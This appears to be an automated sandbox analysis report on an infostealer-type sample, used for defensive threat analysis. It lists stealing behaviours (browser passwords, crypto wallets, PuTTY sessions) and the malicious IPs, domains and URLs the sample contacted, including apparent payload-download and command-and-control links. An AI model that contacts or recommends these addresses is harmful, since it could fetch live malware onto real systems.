discokeyus.lat 104.21.21.99 CLOUDFLARENETUS United States 32->132 134 3 other IPs or domains 32->134 86 C:\Users\user\AppData\...\service123.exe, PE32 32->86 dropped 88 C:\Users\...\O36B9WQQ11YC67FWH57AOX5NF.exe, PE32 32->88 dropped 90 C:\Users\user\AppData\Local\...\Y-Cleaner.exe, PE32 32->90 dropped 94 6 other files (4 malicious) 32->94 dropped 190 Binary is likely a compiled AutoIt script file 32->190 196 9 other signatures 32->196 44 85746525a0.exe 32->44         started        46 firefox.exe 32->46         started        48 cmd.exe 32->48         started        52 9 other processes 32->52 file10 signatures11 process12 dnsIp13 54 chrome.exe 34->54         started        116 toptek.sbs 94.130.188.57 HETZNER-ASDE Germany 36->116 118 t.me 149.154.167.99 TELEGRAMRU United Kingdom 36->118 156 Attempt to bypass Chrome Application-Bound Encryption 36->156 158 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 36->158 160 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 36->160 162 Tries to harvest and steal browser information (history, passwords, etc) 36->162 56 chrome.exe 36->56         started        164 Loading BitLocker PowerShell Module 40->164 59 conhost.exe 40->59         started        61 conhost.exe 42->61         started        120 pancakedipyps.click 172.67.209.202, 443, 49794, 49795 CLOUDFLARENETUS United States 44->120 166 Query firmware table information (likely to detect VMs) 44->166 168 Found many strings related to Crypto-Wallets (likely being stolen) 44->168 170 Tries to steal Crypto Currency Wallets 44->170 63 firefox.exe 46->63         started        69 2 other processes 48->69 65 conhost.exe 52->65         started        67 conhost.exe 52->67         started        71 4 other processes 52->71 signatures14 process15 dnsIp16 136 239.255.255.250 unknown Reserved 56->136 73 chrome.exe 56->73         started        76 firefox.exe 63->76         started        process17 dnsIp18 138 www.google.com 142.250.181.132 GOOGLEUS United States 73->138
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.121.15.192
 home.twentytk20ht.top Spain
207046 REDSERVICIOES true
149.154.167.99
 t.me United Kingdom
62041 TELEGRAMRU false
142.250.181.132
 www.google.com United States
15169 GOOGLEUS false
34.226.108.155
 httpbin.org United States
14618 AMAZON-AESUS false
172.67.209.202
 pancakedipyps.click United States
13335 CLOUDFLARENETUS false
185.156.73.23
 unknown Russian Federation
48817 RELDAS-NETRU false
185.199.110.133
 raw.githubusercontent.com Netherlands
54113 FASTLYUS false
31.41.244.11
 unknown Russian Federation
61974 AEROEXPRESS-ASRU false
104.21.21.99
 discokeyus.lat United States
13335 CLOUDFLARENETUS true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
20.233.83.145
 github.com United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
239.255.255.250
 unknown Reserved
unknown unknown false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
94.130.188.57
 toptek.sbs Germany
24940 HETZNER-ASDE true
104.21.67.146
 cheapptaxysu.click United States
13335 CLOUDFLARENETUS true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
pancakedipyps.click 172.67.209.202 true
cheapptaxysu.click 104.21.67.146 true
github.com 20.233.83.145 true
toptek.sbs 94.130.188.57 true
raw.githubusercontent.com 185.199.110.133 true
t.me 149.154.167.99 true
discokeyus.lat 104.21.21.99 true
www.google.com 142.250.181.132 true
home.twentytk20ht.top 185.121.15.192 true
twentytk20ht.top 185.121.15.192 true
httpbin.org 34.226.108.155 true
sweepyribs.lat unknown unknown
grannyejh.lat unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    http://home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850?argument=qVzcqauEInmPu2zy1734815809 true
      http://185.215.113.206/68b591d6548ec281/nss3.dll true
        grannyejh.lat true
          https://httpbin.org/ip false
            https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw false
              https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe false
                https://toptek.sbs/ true
                  https://t.me/k04ael false
                    http://185.215.113.43/Zu7JuNko/index.php true